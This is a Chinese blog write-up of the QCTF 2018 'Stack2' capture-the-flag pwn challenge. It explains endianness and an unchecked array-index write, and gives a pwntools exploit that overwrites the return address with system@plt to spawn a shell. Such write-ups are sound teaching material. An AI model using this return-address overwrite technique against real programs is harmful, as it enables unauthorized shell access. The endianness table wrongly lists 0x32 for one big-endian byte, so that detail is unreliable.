QCTF-writeup
2018/07/16

Stack2

知识点

大小端序

大端模式(Big-endian):高位字节排放在内存的低地址端,低位字节排放在内存的高地址端,即正序排列,高尾端;

小端模式(Little-endian):低位字节排放在内存的低地址端,高位字节排放在内存的高地址端,即逆序排列,低尾端;

列子:

16bit宽的数0x1234在两种模式CPU内存中的存放方式(假设从地址0x4000开始存放)为:

内存地址 小端模式存放内容 大端存放模式
0x4000 0x34 0x12
0x4001 0x12 0x32

32bit宽的数0x12345678在两种模式CPU内存中的存放方式(假设从地址0x4000开始存放)为:

内存地址 小端模式存放内容 大端存放模式
0x4000 0x78 0x12
0x4001 0x56 0x34
0x4002 0x34 0x56
0x4003 0x12 0x78

首先checksec

ios@ubuntu:~/APwn/attack_word$ checksec stack2
[*] '/home/ios/APwn/attack_word/stack2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
ios@ubuntu:~/APwn/attack_word$

开启 canary nx 32位

ida 分析函数

来看核心逻辑

puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
         __isoc99_scanf("%d", &v6);
         if ( v6 != 2 )
           break;
         puts("Give me your number");
         __isoc99_scanf("%d", &v7);
         if ( j <= 0x63 )
         {
           v3 = j++;
           v13[v3] = v7;
         }
       }
       if ( v6 > 2 )
         break;
       if ( v6 != 1 )
         return 0;
       puts("id\t\tnumber");
       for ( k = 0; k < j; ++k )
         printf("%d\t\t%d\n", k, v13[k]);
     }
     if ( v6 != 3 )
       break;
     puts("which number to change:");
     __isoc99_scanf("%d", &v5);
     puts("new number:");
     __isoc99_scanf("%d", &v7);
     v13[v5] = v7;
   }
   if ( v6 != 4 )
     break;
   v9 = 0;
   for ( l = 0; l < j; ++l )
     v9 += v13[l];

注意change number处 未做验证id是否存在 而是直接赋值给v5接着使v13[v5]处的地址等于v7的地址

还给出了一个函数

int hackhere()
{
  return system("/bin/bash");
}

利用思路:

因为v5 v7可控所以可以通过控制v5到返回地址前4位从而达到写入恶意函数到返回地址处

查看可控v5距离ebp的偏移

int v3; // eax
unsigned int v5; // [esp+18h] [ebp-90h]
unsigned int v6; // [esp+1Ch] [ebp-8Ch]
int v7; // [esp+20h] [ebp-88h]
unsigned int j; // [esp+24h] [ebp-84h]

可以看到j距离ebp的偏移 为0x84

所以向v13[0x84]处开始往后写即可覆盖return_addr

但是由于此处为int型参数所以传地址需要注意

需要利用小端序进行修改return_addr

exp:

from pwn import *

p=process('./stack2')

#p=remote('111.198.29.45',40850)
offset=0x84

def r(addr,con):
    log.info(p.recvuntil('5. exit\n'))
    p.sendline('3')
    log.info(p.recvuntil('which number to change:\n'))
    p.sendline(str(addr))
    log.info(p.recvuntil('new number:\n'))
    p.sendline(str(con))

log.info(p.recvuntil('How many numbers you have:\n'))
p.sendline('1')
log.info(p.recvuntil('Give me your numbers\n'))
p.sendline('1')
r(offset,0x50)
r(offset+1,0x84)
r(offset+2,0x04)
r(offset+3,0x08)
offset+=8
r(offset,0x87)
r(offset+1,0x89)
r(offset+2,0x04)
r(offset+3,0x08)
log.info(p.recvuntil('5. exit\n'))
p.sendline('5')

p.interactive()

这里要注意 我这里并未直接调用bash函数而是自己构造了个system(‘sh’)

构造也很简单 return地址修改为system.plt 地址 、抬高地址在system()前写入参数sh地址

.rodata:08048980 ; char command[]
.rodata:08048980 command         db '/bin/bash',0        ; DATA XREF: hackhere+14↑o
.rodata:0804898A                 align 4

可以看到/bin/bash地址为0x8048980

所以可以推出sh的地址0x8048987

写入即可完成利用

请杯咖啡呗~
支付宝
微信
本文作者:ios
版权声明:本文首发于ios的博客,转载请注明出处!